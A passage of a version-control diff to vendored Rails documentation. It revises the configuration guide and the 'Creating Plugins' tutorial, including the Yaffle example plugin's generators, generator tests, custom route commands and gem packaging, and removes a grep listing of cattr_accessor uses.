++ActiveSupport::BufferedLogger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+. + ++ActiveSupport::Cache::Store.logger+ specifies the logger to use within cache store operations. + ++ActiveSupport::Logger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+. + +=== Configuring Active Model + +Active Model currently has a single configuration setting: + ++ActiveModel::Errors.default_error_messages+ is an array containing all of the validation error messages. + == Using Initializers - organization, controlling load order + +After it loads the framework plus any gems and plugins in your application, Rails turns to loading initializers. An initializer is any file of ruby code stored under +/config/initializers+ in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and plugins are loaded. + +NOTE: You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the +initializers+ folder on down. + +TIP: If you have any ordering dependency in your initializers, you can control the load order by naming. For example, +01_critical.rb+ will be loaded before +02_normal.rb+. == Using an After-Initializer +After-initializers are run (as you might guess) after any initializers are loaded. You can supply an +after_initialize+ block (or an array of such blocks) by setting up +config.after_initialize+ in any of the Rails configuration files: + +[source, ruby] +------------------------------------------------------------------ +config.after_initialize do + SomeClass.init +end +------------------------------------------------------------------ + +WARNING: Some parts of your application, notably observers and routing, are not yet set up at the point where the +after_initialize+ block is called. + +== Rails Environment Settings + +Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails: + ++ENV['RAILS_ENV']+ defines the Rails environment (production, development, test, and so on) that Rails will run under. + ++ENV['RAILS_RELATIVE_URL_ROOT']+ is used by the routing code to recognize URLs when you deploy your application to a subdirectory. + ++ENV["RAILS_ASSET_ID"]+ will override the default cache-busting timestamps that Rails generates for downloadable assets. + ++ENV["RAILS_CACHE_ID"]+ and +ENV["RAILS_APP_VERSION"]+ are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application. + ++ENV['RAILS_GEM_VERSION']+ defines the version of the Rails gems to use, if +RAILS_GEM_VERSION+ is not defined in your +environment.rb+ file. + == Changelog == http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/28[Lighthouse ticket] +* January 3, 2009: First reasonably complete draft by link:../authors.html#mgunderloy[Mike Gunderloy] * November 5, 2008: Rough outline by link:../authors.html#mgunderloy[Mike Gunderloy] - - -actionmailer/lib/action_mailer/base.rb -257: cattr_accessor :logger -267: cattr_accessor :smtp_settings -273: cattr_accessor :sendmail_settings -276: cattr_accessor :raise_delivery_errors -282: cattr_accessor :perform_deliveries -285: cattr_accessor :deliveries -288: cattr_accessor :default_charset -291: cattr_accessor :default_content_type -294: cattr_accessor :default_mime_version -297: cattr_accessor :default_implicit_parts_order -299: cattr_reader :protected_instance_variables - -actionmailer/Rakefile -36: rdoc.options << '--line-numbers' << '--inline-source' << '-A cattr_accessor=object' - -actionpack/lib/action_controller/base.rb -263: cattr_reader :protected_instance_variables -273: cattr_accessor :asset_host -279: cattr_accessor :consider_all_requests_local -285: cattr_accessor :allow_concurrency -317: cattr_accessor :param_parsers -321: cattr_accessor :default_charset -325: cattr_accessor :logger -329: cattr_accessor :resource_action_separator -333: cattr_accessor :resources_path_names -337: cattr_accessor :request_forgery_protection_token -341: cattr_accessor :optimise_named_routes -351: cattr_accessor :use_accept_header -361: cattr_accessor :relative_url_root - -actionpack/lib/action_controller/caching/pages.rb -55: cattr_accessor :page_cache_directory -58: cattr_accessor :page_cache_extension - -actionpack/lib/action_controller/caching.rb -37: cattr_reader :cache_store -48: cattr_accessor :perform_caching - -actionpack/lib/action_controller/dispatcher.rb -98: cattr_accessor :error_file_path - -actionpack/lib/action_controller/mime_type.rb -24: cattr_reader :html_types, :unverifiable_types - -actionpack/lib/action_controller/rescue.rb -36: base.cattr_accessor :rescue_responses -40: base.cattr_accessor :rescue_templates - -actionpack/lib/action_controller/session/active_record_store.rb -60: cattr_accessor :data_column_name -170: cattr_accessor :connection -173: cattr_accessor :table_name -177: cattr_accessor :session_id_column -181: cattr_accessor :data_column -282: cattr_accessor :session_class - -actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb -44: cattr_accessor :included_tags, :instance_writer => false - -actionpack/lib/action_view/base.rb -189: cattr_accessor :debug_rjs -193: cattr_accessor :warn_cache_misses - -actionpack/lib/action_view/helpers/active_record_helper.rb -7: cattr_accessor :field_error_proc - -actionpack/lib/action_view/helpers/form_helper.rb -805: cattr_accessor :default_form_builder - -actionpack/lib/action_view/template_handlers/erb.rb -47: cattr_accessor :erb_trim_mode - -actionpack/test/active_record_unit.rb -5: cattr_accessor :able_to_connect -6: cattr_accessor :connected - -actionpack/test/controller/filters_test.rb -286: cattr_accessor :execution_log - -actionpack/test/template/form_options_helper_test.rb -3:TZInfo::Timezone.cattr_reader :loaded_zones - -activemodel/lib/active_model/errors.rb -28: cattr_accessor :default_error_messages - -activemodel/Rakefile -19: rdoc.options << '--line-numbers' << '--inline-source' << '-A cattr_accessor=object' - -activerecord/lib/active_record/attribute_methods.rb -9: base.cattr_accessor :attribute_types_cached_by_default, :instance_writer => false -11: base.cattr_accessor :time_zone_aware_attributes, :instance_writer => false - -activerecord/lib/active_record/base.rb -394: cattr_accessor :logger, :instance_writer => false -443: cattr_accessor :configurations, :instance_writer => false -450: cattr_accessor :primary_key_prefix_type, :instance_writer => false -456: cattr_accessor :table_name_prefix, :instance_writer => false -461: cattr_accessor :table_name_suffix, :instance_writer => false -467: cattr_accessor :pluralize_table_names, :instance_writer => false -473: cattr_accessor :colorize_logging, :instance_writer => false -478: cattr_accessor :default_timezone, :instance_writer => false -487: cattr_accessor :schema_format , :instance_writer => false -491: cattr_accessor :timestamped_migrations , :instance_writer => false - -activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb -11: cattr_accessor :connection_handler, :instance_writer => false - -activerecord/lib/active_record/connection_adapters/mysql_adapter.rb -166: cattr_accessor :emulate_booleans - -activerecord/lib/active_record/fixtures.rb -498: cattr_accessor :all_loaded_fixtures - -activerecord/lib/active_record/locking/optimistic.rb -38: base.cattr_accessor :lock_optimistically, :instance_writer => false - -activerecord/lib/active_record/migration.rb -259: cattr_accessor :verbose - -activerecord/lib/active_record/schema_dumper.rb -13: cattr_accessor :ignore_tables - -activerecord/lib/active_record/serializers/json_serializer.rb -4: base.cattr_accessor :include_root_in_json, :instance_writer => false - -activerecord/Rakefile -142: rdoc.options << '--line-numbers' << '--inline-source' << '-A cattr_accessor=object' - -activerecord/test/cases/lifecycle_test.rb -61: cattr_reader :last_inherited - -activerecord/test/cases/mixin_test.rb -9: cattr_accessor :forced_now_time - -activeresource/lib/active_resource/base.rb -206: cattr_accessor :logger - -activeresource/Rakefile -43: rdoc.options << '--line-numbers' << '--inline-source' << '-A cattr_accessor=object' - -activesupport/lib/active_support/buffered_logger.rb -17: cattr_accessor :silencer - -activesupport/lib/active_support/cache.rb -81: cattr_accessor :logger - -activesupport/lib/active_support/core_ext/class/attribute_accessors.rb -5:# cattr_accessor :hair_colors -10: def cattr_reader(*syms) -29: def cattr_writer(*syms) -50: def cattr_accessor(*syms) -51: cattr_reader(*syms) -52: cattr_writer(*syms) - -activesupport/lib/active_support/core_ext/logger.rb -34: cattr_accessor :silencer - -activesupport/test/core_ext/class/attribute_accessor_test.rb -6: cattr_accessor :foo -7: cattr_accessor :bar, :instance_writer => false - -activesupport/test/core_ext/module/synchronization_test.rb -6: @target.cattr_accessor :mutex, :instance_writer => false - -railties/doc/guides/html/creating_plugins.html -786: cattr_accessor :yaffle_text_field, :yaffle_date_field -860: cattr_accessor :yaffle_text_field, :yaffle_date_field - -railties/lib/rails_generator/base.rb -93: cattr_accessor :logger - -railties/Rakefile -265: rdoc.options << '--line-numbers' << '--inline-source' << '--accessor' << 'cattr_accessor=object' - -railties/test/rails_info_controller_test.rb -12: cattr_accessor :local_request - -Rakefile -32: rdoc.options << '-A cattr_accessor=object' - diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/acts_as_yaffle.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/acts_as_yaffle.txt index de116af7..674f086e 100644 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/acts_as_yaffle.txt +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/acts_as_yaffle.txt @@ -1,4 +1,4 @@ -== Add an `acts_as_yaffle` method to Active Record == +== Add an 'acts_as' method to Active Record == A common pattern in plugins is to add a method called 'acts_as_something' to models. In this case, you want to write a method called 'acts_as_yaffle' that adds a 'squawk' method to your models. diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/appendix.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/appendix.txt index a78890cc..7cb81093 100644 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/appendix.txt +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/appendix.txt @@ -1,46 +1,104 @@ == Appendix == +If you prefer to use RSpec instead of Test::Unit, you may be interested in the http://github.com/pat-maddox/rspec-plugin-generator/tree/master[RSpec Plugin Generator]. + === References === * http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-i - * http://nubyonrails.com/articles/2006/05/09/the-complete-guide-to-rails-plugins-part-ii + * http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-ii * http://github.com/technoweenie/attachment_fu/tree/master * http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html + * http://www.mbleigh.com/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins + * http://weblog.jamisbuck.org/2006/10/26/monkey-patching-rails-extending-routes-2. + +=== Contents of 'lib/yaffle.rb' === + +*vendor/plugins/yaffle/lib/yaffle.rb:* + +[source, ruby] +---------------------------------------------- +require "yaffle/core_ext" +require "yaffle/acts_as_yaffle" +require "yaffle/commands" +require "yaffle/routing" + +%w{ models controllers helpers }.each do |dir| + path = File.join(File.dirname(__FILE__), 'app', dir) + $LOAD_PATH << path + ActiveSupport::Dependencies.load_paths << path + ActiveSupport::Dependencies.load_once_paths.delete(path) +end + +# optionally: +# Dir.glob(File.join(File.dirname(__FILE__), "db", "migrate", "*")).each do |file| +# require file +# end + +---------------------------------------------- + === Final plugin directory structure === The final plugin should have a directory structure that looks something like this: ------------------------------------------------ - |-- MIT-LICENSE - |-- README - |-- Rakefile - |-- generators - | `-- yaffle - | |-- USAGE - | |-- templates - | | `-- definition.txt - | `-- yaffle_generator.rb - |-- init.rb - |-- install.rb - |-- lib - | |-- acts_as_yaffle.rb - | |-- commands.rb - | |-- core_ext.rb - | |-- routing.rb - | `-- view_helpers.rb - |-- tasks - | `-- yaffle_tasks.rake - |-- test - | |-- acts_as_yaffle_test.rb - | |-- core_ext_test.rb - | |-- database.yml - | |-- debug.log - | |-- routing_test.rb - | |-- schema.rb - | |-- test_helper.rb - | `-- view_helpers_test.rb - |-- uninstall.rb - `-- yaffle_plugin.sqlite3.db +|-- MIT-LICENSE +|-- README +|-- Rakefile +|-- generators +| |-- yaffle_definition +| | |-- USAGE +| | |-- templates +| | | `-- definition.txt +| | `-- yaffle_definition_generator.rb +| |-- yaffle_migration +| | |-- USAGE +| | |-- templates +| | `-- yaffle_migration_generator.rb +| `-- yaffle_route +| |-- USAGE +| |-- templates +| `-- yaffle_route_generator.rb +|-- install.rb +|-- lib +| |-- app +| | |-- controllers +| | | `-- woodpeckers_controller.rb +| | |-- helpers +| | | `-- woodpeckers_helper.rb +| | `-- models +| | `-- woodpecker.rb +| |-- db +| | `-- migrate +| | `-- 20081116181115_create_birdhouses.rb +| |-- yaffle +| | |-- acts_as_yaffle.rb +| | |-- commands.rb +| | |-- core_ext.rb +| | `-- routing.rb +| `-- yaffle.rb +|-- pkg +| `-- yaffle-0.0.1.gem +|-- rails +| `-- init.rb +|-- tasks +| `-- yaffle_tasks.rake +|-- test +| |-- acts_as_yaffle_test.rb +| |-- core_ext_test.rb +| |-- database.yml +| |-- debug.log +| |-- definition_generator_test.rb +| |-- migration_generator_test.rb +| |-- route_generator_test.rb +| |-- routes_test.rb +| |-- schema.rb +| |-- test_helper.rb +| |-- woodpecker_test.rb +| |-- woodpeckers_controller_test.rb +| |-- wookpeckers_helper_test.rb +| |-- yaffle_plugin.sqlite3.db +| `-- yaffle_test.rb +`-- uninstall.rb ------------------------------------------------ diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/controllers.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/controllers.txt index ee408adb..7afdef03 100644 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/controllers.txt +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/controllers.txt @@ -1,10 +1,10 @@ -== Add a controller == +== Controllers == This section describes how to add a controller named 'woodpeckers' to your plugin that will behave the same as a controller in your main app. This is very similar to adding a model. You can test your plugin's controller as you would test any other controller: -*vendor/plugins/yaffle/yaffle/woodpeckers_controller_test.rb:* +*vendor/plugins/yaffle/test/woodpeckers_controller_test.rb:* [source, ruby] ---------------------------------------------- @@ -19,6 +19,10 @@ class WoodpeckersControllerTest < Test::Unit::TestCase @controller = WoodpeckersController.new @request = ActionController::TestRequest.new @response = ActionController::TestResponse.new + + ActionController::Routing::Routes.draw do |map| + map.resources :woodpeckers + end end def test_index diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/core_ext.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/core_ext.txt index ca8efc3d..cbedb9ea 100644 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/core_ext.txt +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/core_ext.txt @@ -1,11 +1,6 @@ == Extending core classes == -This section will explain how to add a method to String that will be available anywhere in your rails app by: - - * Writing tests for the desired behavior - * Creating and requiring the correct files - -=== Creating the test === +This section will explain how to add a method to String that will be available anywhere in your rails app. In this example you will add a method to String named `to_squawk`. To begin, create a new test file with a few assertions: @@ -40,26 +35,6 @@ NoMethodError: undefined method `to_squawk' for "Hello World":String Great - now you are ready to start development. -=== Organize your files === - -A common pattern in rails plugins is to set up the file structure like this: - --------------------------------------------------------- -|-- lib -| |-- yaffle -| | `-- core_ext.rb -| `-- yaffle.rb --------------------------------------------------------- - -The first thing we need to to is to require our 'lib/yaffle.rb' file from 'rails/init.rb': - -*vendor/plugins/yaffle/rails/init.rb* - -[source, ruby] --------------------------------------------------------- -require 'yaffle' --------------------------------------------------------- - Then in 'lib/yaffle.rb' require 'lib/core_ext.rb': *vendor/plugins/yaffle/lib/yaffle.rb* @@ -92,13 +67,13 @@ $ ./script/console === Working with init.rb === -When rails loads plugins it looks for the file named init.rb. However, when the plugin is initialized, 'init.rb' is invoked via `eval` (not `require`) so it has slightly different behavior. +When rails loads plugins it looks for the file named 'init.rb' or 'rails/init.rb'. However, when the plugin is initialized, 'init.rb' is invoked via `eval` (not `require`) so it has slightly different behavior. Under certain circumstances if you reopen classes or modules in 'init.rb' you may inadvertently create a new class, rather than reopening an existing class. A better alternative is to reopen the class in a different file, and require that file from `init.rb`, as shown above. If you must reopen a class in `init.rb` you can use `module_eval` or `class_eval` to avoid any issues: -*vendor/plugins/yaffle/init.rb* +*vendor/plugins/yaffle/rails/init.rb* [source, ruby] --------------------------------------------------- @@ -111,7 +86,7 @@ end Another way is to explicitly define the top-level module space for all modules and classes, like `::Hash`: -*vendor/plugins/yaffle/init.rb* +*vendor/plugins/yaffle/rails/init.rb* [source, ruby] --------------------------------------------------- diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/creating_plugins/lib/main.rb b/vendor/rails/railties/doc/guides/source/creating_plugins/creating_plugins/lib/main.rb new file mode 100644 index 00000000..b0919153 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/creating_plugins/lib/main.rb @@ -0,0 +1,4 @@ +# To change this template, choose Tools | Templates +# and open the template in the editor. + +puts "Hello World" diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/gems.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/gems.txt new file mode 100644 index 00000000..67d55adb --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/gems.txt @@ -0,0 +1,50 @@ +== PluginGems == + +Turning your rails plugin into a gem is a simple and straightforward task. This section will cover how to turn your plugin into a gem. It will not cover how to distribute that gem. + +Historically rails plugins loaded the plugin's 'init.rb' file. In fact some plugins contain all of their code in that one file. To be compatible with plugins, 'init.rb' was moved to 'rails/init.rb'. + +It's common practice to put any developer-centric rake tasks (such as tests, rdoc and gem package tasks) in 'Rakefile'. A rake task that packages the gem might look like this: + +*vendor/plugins/yaffle/Rakefile:* + +[source, ruby] +---------------------------------------------- +PKG_FILES = FileList[ + '[a-zA-Z]*', + 'generators/**/*', + 'lib/**/*', + 'rails/**/*', + 'tasks/**/*', + 'test/**/*' +] + +spec = Gem::Specification.new do |s| + s.name = "yaffle" + s.version = "0.0.1" + s.author = "Gleeful Yaffler" + s.email = "yaffle@example.com" + s.homepage = "http://yafflers.example.com/" + s.platform = Gem::Platform::RUBY + s.summary = "Sharing Yaffle Goodness" + s.files = PKG_FILES.to_a + s.require_path = "lib" + s.has_rdoc = false + s.extra_rdoc_files = ["README"] +end + +desc 'Turn this plugin into a gem.' +Rake::GemPackageTask.new(spec) do |pkg| + pkg.gem_spec = spec +end +---------------------------------------------- + +To build and install the gem locally, run the following commands: + +---------------------------------------------- +cd vendor/plugins/yaffle +rake gem +sudo gem install pkg/yaffle-0.0.1.gem +---------------------------------------------- + +To test this, create a new rails app, add 'config.gem "yaffle"' to environment.rb and all of your plugin's functionality will be available to you. \ No newline at end of file diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/generator_commands.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/generator_commands.txt new file mode 100644 index 00000000..6ded0dde --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/generator_commands.txt @@ -0,0 +1,144 @@ +== Generator Commands == + +You may have noticed above that you can used one of the built-in rails migration commands `migration_template`. If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods. + +This section describes how you you can create your own commands to add and remove a line of text from 'config/routes.rb'. + +To start, add the following test method: + +*vendor/plugins/yaffle/test/route_generator_test.rb* + +[source, ruby] +----------------------------------------------------------- +require File.dirname(__FILE__) + '/test_helper.rb' +require 'rails_generator' +require 'rails_generator/scripts/generate' +require 'rails_generator/scripts/destroy' + +class RouteGeneratorTest < Test::Unit::TestCase + + def setup + FileUtils.mkdir_p(File.join(fake_rails_root, "config")) + end + + def teardown + FileUtils.rm_r(fake_rails_root) + end + + def test_generates_route + content = <<-END + ActionController::Routing::Routes.draw do |map| + map.connect ':controller/:action/:id' + map.connect ':controller/:action/:id.:format' + end + END + File.open(routes_path, 'wb') {|f| f.write(content) } + + Rails::Generator::Scripts::Generate.new.run(["yaffle_route"], :destination => fake_rails_root) + assert_match /map\.yaffles/, File.read(routes_path) + end + + def test_destroys_route + content = <<-END + ActionController::Routing::Routes.draw do |map| + map.yaffles + map.connect ':controller/:action/:id' + map.connect ':controller/:action/:id.:format' + end + END + File.open(routes_path, 'wb') {|f| f.write(content) } + + Rails::Generator::Scripts::Destroy.new.run(["yaffle_route"], :destination => fake_rails_root) + assert_no_match /map\.yaffles/, File.read(routes_path) + end + + private + + def fake_rails_root + File.join(File.dirname(__FILE__), "rails_root") + end + + def routes_path + File.join(fake_rails_root, "config", "routes.rb") + end + +end +----------------------------------------------------------- + +Run `rake` to watch the test fail, then make the test pass add the following: + +*vendor/plugins/yaffle/lib/yaffle.rb* + +[source, ruby] +----------------------------------------------------------- +require "yaffle/commands" +----------------------------------------------------------- + +*vendor/plugins/yaffle/lib/yaffle/commands.rb* + +[source, ruby] +----------------------------------------------------------- +require 'rails_generator' +require 'rails_generator/commands' + +module Yaffle #:nodoc: + module Generator #:nodoc: + module Commands #:nodoc: + module Create + def yaffle_route + logger.route "map.yaffle" + look_for = 'ActionController::Routing::Routes.draw do |map|' + unless options[:pretend] + gsub_file('config/routes.rb', /(#{Regexp.escape(look_for)})/mi){|match| "#{match}\n map.yaffles\n"} + end + end + end + + module Destroy + def yaffle_route + logger.route "map.yaffle" + gsub_file 'config/routes.rb', /\n.+?map\.yaffles/mi, '' + end + end + + module List + def yaffle_route + end + end + + module Update + def yaffle_route + end + end + end + end +end + +Rails::Generator::Commands::Create.send :include, Yaffle::Generator::Commands::Create +Rails::Generator::Commands::Destroy.send :include, Yaffle::Generator::Commands::Destroy +Rails::Generator::Commands::List.send :include, Yaffle::Generator::Commands::List +Rails::Generator::Commands::Update.send :include, Yaffle::Generator::Commands::Update +----------------------------------------------------------- + +*vendor/plugins/yaffle/generators/yaffle_route/yaffle_route_generator.rb* + +[source, ruby] +----------------------------------------------------------- +class YaffleRouteGenerator < Rails::Generator::Base + def manifest + record do |m| + m.yaffle_route + end + end +end +----------------------------------------------------------- + +To see this work, type: + +----------------------------------------------------------- +./script/generate yaffle_route +./script/destroy yaffle_route +----------------------------------------------------------- + +.Editor's note: +NOTE: If you haven't set up the custom route from above, 'script/destroy' will fail and you'll have to remove it manually. \ No newline at end of file diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/generators.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/generators.txt new file mode 100644 index 00000000..f856bec7 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/generators.txt @@ -0,0 +1,98 @@ +== Generators == + +Many plugins ship with generators. When you created the plugin above, you specified the --with-generator option, so you already have the generator stubs in 'vendor/plugins/yaffle/generators/yaffle'. + +Building generators is a complex topic unto itself and this section will cover one small aspect of generators: generating a simple text file. + +=== Testing generators === + +Many rails plugin authors do not test their generators, however testing generators is quite simple. A typical generator test does the following: + + * Creates a new fake rails root directory that will serve as destination + * Runs the generator + * Asserts that the correct files were generated + * Removes the fake rails root + +This section will describe how to create a simple generator that adds a file. For the generator in this section, the test could look something like this: + +*vendor/plugins/yaffle/test/definition_generator_test.rb* + +[source, ruby] +------------------------------------------------------------------ +require File.dirname(__FILE__) + '/test_helper.rb' +require 'rails_generator' +require 'rails_generator/scripts/generate' + +class DefinitionGeneratorTest < Test::Unit::TestCase + + def setup + FileUtils.mkdir_p(fake_rails_root) + @original_files = file_list + end + + def teardown + FileUtils.rm_r(fake_rails_root) + end + + def test_generates_correct_file_name + Rails::Generator::Scripts::Generate.new.run(["yaffle_definition"], :destination => fake_rails_root) + new_file = (file_list - @original_files).first + assert_equal "definition.txt", File.basename(new_file) + end + + private + + def fake_rails_root + File.join(File.dirname(__FILE__), 'rails_root') + end + + def file_list + Dir.glob(File.join(fake_rails_root, "*")) + end + +end +------------------------------------------------------------------ + +You can run 'rake' from the plugin directory to see this fail. Unless you are doing more advanced generator commands it typically suffices to just test the Generate script, and trust that rails will handle the Destroy and Update commands for you. + +To make it pass, create the generator: + +*vendor/plugins/yaffle/generators/yaffle_definition/yaffle_definition_generator.rb* + +[source, ruby] +------------------------------------------------------------------ +class YaffleDefinitionGenerator < Rails::Generator::Base + def manifest + record do |m| + m.file "definition.txt", "definition.txt" + end + end +end +------------------------------------------------------------------ + +=== The USAGE file === + +If you plan to distribute your plugin, developers will expect at least a minimum of documentation. You can add simple documentation to the generator by updating the USAGE file. + +Rails ships with several built-in generators. You can see all of the generators available to you by typing the following at the command line: + +------------------------------------------------------------------ +./script/generate +------------------------------------------------------------------ + +You should see something like this: + +------------------------------------------------------------------ +Installed Generators + Plugins (vendor/plugins): yaffle_definition + Builtin: controller, integration_test, mailer, migration, model, observer, plugin, resource, scaffold, session_migration +------------------------------------------------------------------ + +When you run `script/generate yaffle_definition -h` you should see the contents of your 'vendor/plugins/yaffle/generators/yaffle_definition/USAGE'. + +For this plugin, update the USAGE file could look like this: + +------------------------------------------------------------------ +Description: + Adds a file with the definition of a Yaffle to the app's main directory +------------------------------------------------------------------ diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/helpers.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/helpers.txt index 51b4cebb..fa4227be 100644 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/helpers.txt +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/helpers.txt @@ -1,4 +1,4 @@ -== Add a helper == +== Helpers == This section describes how to add a helper named 'WoodpeckersHelper' to your plugin that will behave the same as a helper in your main app. This is very similar to adding a model and a controller. @@ -30,8 +30,6 @@ This is just a simple test to make sure the helper is being loaded correctly. A ActiveSupport::Dependencies.load_paths << path ActiveSupport::Dependencies.load_once_paths.delete(path) end - -ActionView::Base.send :include, WoodpeckersHelper ---------------------------------------------- diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/index.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/index.txt index 19484e28..0607bc74 100644 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/index.txt +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/index.txt @@ -29,24 +29,32 @@ This guide describes how to build a test-driven plugin that will: For the purpose of this guide pretend for a moment that you are an avid bird watcher. Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle goodness. First, you need to get setup for development. -include::test_setup.txt[] +include::setup.txt[] + +include::tests.txt[] include::core_ext.txt[] include::acts_as_yaffle.txt[] -include::migration_generator.txt[] - -include::generator_method.txt[] - include::models.txt[] include::controllers.txt[] include::helpers.txt[] -include::custom_route.txt[] +include::routes.txt[] -include::odds_and_ends.txt[] +include::generators.txt[] + +include::generator_commands.txt[] + +include::migrations.txt[] + +include::tasks.txt[] + +include::gems.txt[] + +include::rdoc.txt[] include::appendix.txt[] diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/migration_generator.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/migration_generator.txt deleted file mode 100644 index f4fc3248..00000000 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/migration_generator.txt +++ /dev/null @@ -1,156 +0,0 @@ -== Create a generator == - -Many plugins ship with generators. When you created the plugin above, you specified the --with-generator option, so you already have the generator stubs in 'vendor/plugins/yaffle/generators/yaffle'. - -Building generators is a complex topic unto itself and this section will cover one small aspect of generators: creating a generator that adds a time-stamped migration. - -To create a generator you must: - - * Add your instructions to the 'manifest' method of the generator - * Add any necessary template files to the templates directory - * Test the generator manually by running various combinations of `script/generate` and `script/destroy` - * Update the USAGE file to add helpful documentation for your generator - -=== Testing generators === - -Many rails plugin authors do not test their generators, however testing generators is quite simple. A typical generator test does the following: - - * Creates a new fake rails root directory that will serve as destination - * Runs the generator forward and backward, making whatever assertions are necessary - * Removes the fake rails root - -For the generator in this section, the test could look something like this: - -*vendor/plugins/yaffle/test/yaffle_generator_test.rb* - -[source, ruby] ------------------------------------------------------------------- -require File.dirname(__FILE__) + '/test_helper.rb' -require 'rails_generator' -require 'rails_generator/scripts/generate' -require 'rails_generator/scripts/destroy' - -class GeneratorTest < Test::Unit::TestCase - - def fake_rails_root - File.join(File.dirname(__FILE__), 'rails_root') - end - - def file_list - Dir.glob(File.join(fake_rails_root, "db", "migrate", "*")) - end - - def setup - FileUtils.mkdir_p(fake_rails_root) - @original_files = file_list - end - - def teardown - FileUtils.rm_r(fake_rails_root) - end - - def test_generates_correct_file_name - Rails::Generator::Scripts::Generate.new.run(["yaffle", "bird"], :destination => fake_rails_root) - new_file = (file_list - @original_files).first - assert_match /add_yaffle_fields_to_bird/, new_file - end - -end ------------------------------------------------------------------- - -You can run 'rake' from the plugin directory to see this fail. Unless you are doing more advanced generator commands it typically suffices to just test the Generate script, and trust that rails will handle the Destroy and Update commands for you. - -=== Adding to the manifest === - -This example will demonstrate how to use one of the built-in generator methods named 'migration_template' to create a migration file. To start, update your generator file to look like this: - -*vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb* - -[source, ruby] ------------------------------------------------------------------- -class YaffleGenerator < Rails::Generator::NamedBase - def manifest - record do |m| - m.migration_template 'migration:migration.rb', "db/migrate", {:assigns => yaffle_local_assigns, - :migration_file_name => "add_yaffle_fields_to_#{custom_file_name}" - } - end - end - - private - def custom_file_name - custom_name = class_name.underscore.downcase - custom_name = custom_name.pluralize if ActiveRecord::Base.pluralize_table_names - end - - def yaffle_local_assigns - returning(assigns = {}) do - assigns[:migration_action] = "add" - assigns[:class_name] = "add_yaffle_fields_to_#{custom_file_name}" - assigns[:table_name] = custom_file_name - assigns[:attributes] = [Rails::Generator::GeneratedAttribute.new("last_squawk", "string")] - end - end -end ------------------------------------------------------------------- - -The generator creates a new file in 'db/migrate' with a timestamp and an 'add_column' statement. It reuses the built in rails `migration_template` method, and reuses the built-in rails migration template. - -It's courteous to check to see if table names are being pluralized whenever you create a generator that needs to be aware of table names. This way people using your generator won't have to manually change the generated files if they've turned pluralization off. - -=== Manually test the generator === - -To run the generator, type the following at the command line: - ------------------------------------------------------------------- -./script/generate yaffle bird ------------------------------------------------------------------- - -and you will see a new file: - -*db/migrate/20080529225649_add_yaffle_fields_to_birds.rb* - -[source, ruby] ------------------------------------------------------------------- -class AddYaffleFieldsToBirds < ActiveRecord::Migration - def self.up - add_column :birds, :last_squawk, :string - end - - def self.down - remove_column :birds, :last_squawk - end -end ------------------------------------------------------------------- - - -=== The USAGE file === - -Rails ships with several built-in generators. You can see all of the generators available to you by typing the following at the command line: - ------------------------------------------------------------------- -script/generate ------------------------------------------------------------------- - -You should see something like this: - ------------------------------------------------------------------- -Installed Generators - Plugins (vendor/plugins): yaffle - Builtin: controller, integration_test, mailer, migration, model, observer, plugin, resource, scaffold, session_migration ------------------------------------------------------------------- - -When you run `script/generate yaffle` you should see the contents of your 'vendor/plugins/yaffle/generators/yaffle/USAGE' file. - -For this plugin, update the USAGE file looks like this: - ------------------------------------------------------------------- -Description: - Creates a migration that adds yaffle squawk fields to the given model - -Example: - ./script/generate yaffle hickwall - - This will create: - db/migrate/TIMESTAMP_add_yaffle_fields_to_hickwall ------------------------------------------------------------------- diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/migrations.txt 